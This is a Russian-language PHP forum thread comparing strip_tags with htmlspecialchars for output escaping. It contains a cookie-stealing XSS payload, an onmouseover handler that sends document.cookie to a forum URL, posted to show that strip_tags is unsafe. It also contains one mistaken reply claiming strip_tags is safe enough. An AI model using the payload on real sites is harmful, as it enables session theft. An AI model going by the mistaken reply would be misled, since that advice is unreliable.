strip_tags может заменить htmlspecialchars на выходе из БД? (Знаю что они делают, по факту)
_____________
Принимаю заказы, писать в ЛС
Нет
_____________
VPS от 5$, первые 2 месяца -
бесплатно.
Цитата (Hello @ 27.03.2015 - 18:43) |
Нет |
Почему? Если не брать во внимание удаление html и php тегов
_____________
Принимаю заказы, писать в ЛС
В чём тогда разница?
Одна экранирует - другая удаляет, Нет?
_____________
Принимаю заказы, писать в ЛС
mysql_real_escape_string
_____________
Трус не играет в хокей
Цитата (stump @ 27.03.2015 - 20:08) |
mysql_real_escape_string |
Это то понятно, на выходе, что лучше использовать?
_____________
Принимаю заказы, писать в ЛС
AllesKlar
27.03.2015 - 20:50
Вообще, забудь про php-mysql, его скоро не будет.
В базе ВСЕГДА должно быть то, что было введено пользователем.
Никаких вырезаний или преобразований тегов. Ввел пользователь "<script> alert('Hallo!')l</script>", значит именно это и должно быть записано в базу.
Твоя задача - безопасно это записать (плейсхолдеры, prepare() ...)
При выводе из бызы ты должен безопасно вывести htmlspecialchars()
Это всё.
_____________
[продано копирайтерам]
Цитата (AllesKlar @ 27.03.2015 - 20:50) |
Вообще, забудь про php-mysql, его скоро не будет.
В базе ВСЕГДА должно быть то, что было введено пользователем. Никаких вырезаний или преобразований тегов. Ввел пользователь "<script> alert('Hallo!')l</script>", значит именно это и должно быть записано в базу. Твоя задача - безопасно это записать (плейсхолдеры, prepare() ...)
При выводе из бызы ты должен безопасно вывести htmlspecialchars()
Это всё. |
А зачем мне имя пользователя - <"? так@ е,
Поэтому и хочу вырезать - strip_tags может заменить htmlspecialchars с точки зрения безопасности? В таблицу записывается как есть)
_____________
Принимаю заказы, писать в ЛС
AllesKlar
27.03.2015 - 22:49
Медведь
Цитата |
А зачем мне имя пользователя - <"? так@ е, |
А при чем тут ты? Пользователь хочет такое, значит будет такое.
Если ты не хочешь такое, значит еще ДО записи в базу, ты должен проверить, соответсвует ли имя пользователя твоим желаниям.
Если не соответсвует, то отклонить его и уведомить об этом пользователя, указав допустимые символы.
Инач что будет?
Я регистрируюсь у тебя как Alles<Klar>, ты в тихую вырезаешь символы и пишешь мой логин в базу, как AllesKlar.
Но я-то потом буду логиниться так, как я писал. Я же не знаю, что ты порезал. И, естественно, я нифига не залогинюсь, потому что в твоей базе просто нет пользователя Alles<Klar>
Ну, ты можешь, конечно, запомнить, что надо резать везде, и при логине тоже. Тогда совпадет.
Но вот я в своем профиле буду видеть не то, как я зарегистрировался, а то, как ты меня зарегистрировал.
Дальше, ввод описания товара, ввод коментариев, отправка сообщений.
А что, в сообщениях тоже нельзя будет отправлять никакие символы? А как же я тебе тогда напишу пример кода?
А через полгода ты 100% забудешь где и что нужно вырезать, а где не нужно, а где нужно, но не всё.
_____________
[продано копирайтерам]
AllesKlar Ухх понесло )) Да я это понимаю всё, это для примера собственно, по факту если заменить, то безопасность сайта не пострадает?
_____________
Принимаю заказы, писать в ЛС
AllesKlar
28.03.2015 - 00:54
МедведьНе пострадает.
_____________
[продано копирайтерам]
Медведь$_GET['login']="
<p onmouseover=\"window.location.href='http://phpforum.su/index.php?showuser=37963&cookie='+document.co okie;\">
Наведи на меня мышку и отправь мне все свои куки, чтоб я потом вошел под тобой
</p>";
echo strip_tags($_GET['login'],'<p>');
убери пробел в +document.cookie видимо PHPFORUM вырезает
_____________
Не тот велик, кто не падал, а тот кто падал и поднимался.
Цитата (GET @ 28.03.2015 - 09:18) |
Медведь
$_GET['login']=" <p onmouseover=\"window.location.href='http://phpforum.su/index.php?showuser=37963&cookie='+document.co okie;\"> Наведи на меня мышку и отправь мне все свои куки, чтоб я потом вошел под тобой </p>"; echo strip_tags($_GET['login'],'<p>');
убери пробел в +document.cookie видимо PHPFORUM вырезает |
Хитрый какой
А если htmlspecialchars норм.будет?
_____________
Принимаю заказы, писать в ЛС
Цитата |
А если htmlspecialchars норм.будет? |
htmlspecialchars - АБСОЛЮТНО безопасен в этом случае.
_____________
Не тот велик, кто не падал, а тот кто падал и поднимался.
Быстрый ответ:
Powered by dgreen
Здесь расположена полная версия этой страницы.